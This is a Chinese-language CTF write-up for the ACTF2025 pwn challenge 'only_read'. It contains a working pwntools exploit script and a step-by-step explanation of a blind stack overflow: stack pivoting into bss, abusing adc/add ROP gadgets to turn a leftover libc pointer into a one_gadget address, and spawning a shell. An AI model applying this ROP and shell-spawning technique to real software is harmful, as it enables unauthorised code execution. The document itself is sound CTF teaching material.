ACTF2025 pwn 部分wp

0x00

早在 TGCTF 就遇到过只有这种 只有 read 的题目了,没想到这次还是没做出来,真是报应啊~

0x01 only_read

先放脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from tools import*
context.log_level = 'debug'
p=process("./only_read")

add1 = 0x000000000040111c # add dword ptr [rbp - 0x3d], ebx ; nop ; ret
pop_rbp = 0x000000000040111d # pop rbp ; ret
add2 = 0x000000000040110c # adc edx, [rbp + 0x48]; mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2efb], 1; pop rbp; ret
start=0x40105d
leave_ret=0x000000000040115d
bss = 0x404000
offset=0x0c52a0-0x801 #原本有0x800,adc有个1,#(ogg-libc_start_main+139)


debug(p,0x40115d)

payload1=b'a'*0x80+p64(bss+0xf00)+p64(0x0401142)
p.sendline(payload1)

payload2=b'a'*0x80+p64(bss+0xf90)+p64(start)
pause()
p.sendline(payload2)
pause()
#rbp
paylaod3=b'a'*0x80+p64(0x404dc0+8)+p64(add2)+p64(bss+0xf90)+p64(start)+p64(offset)
p.sendline(paylaod3)

pause()
payload4=b'a'*0x80+p64(0x404d98+0x3d)+p64(add1)+p64(pop_rbp)+p64(0x404d98-0x8)+p64(leave_ret)
p.sendline(payload4)

p.interactive()


题目只给了一个read函数有很大的溢出,无输出

第一次栈溢出,读入payload1,返回到main中的read函数,读入payload2到bss段内,

随着正常的程序执行流,程序执行一次leave:ret ,把栈迁移到bss段,程序执行payload2读入的start,实际为_start+13的地址,然后执行到libc_start_main,程序再次来到main函数,此时看栈的情况会发现在bss段的栈中出现了一些ibc地址,如__libc_start_main+139

image-20250427200231745

因为执行到了main函数,程序会再次执行一次read,读入payload3,

payload3通过

1
adc edx, [rbp + 0x48]; mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2efb], 1; pop rbp; ret

这条指令把libc_start_main+139与偏移为0xef52b的onegadget的偏移通过控制rbp,填入edx中,

image-20250427200556562

然后再次执行一次start,在

image-20250427200938386

_libc_start_main+23处会把rdx的值移到rbx中

并且在回到main时,此值不变。

image-20250427201140754

之后再次栈溢出读入payload4,

使用

1
add dword ptr [rbp - 0x3d], ebx ; nop ; ret

控制rbp把ebx中的偏移加到栈中的libc地址上最终得到

image-20250427201553712

一个ogg的地址

然后栈迁移到ogg处,执行system(“/bin/sh”)

image-20250427201803858

getshell.

image-20250427201823841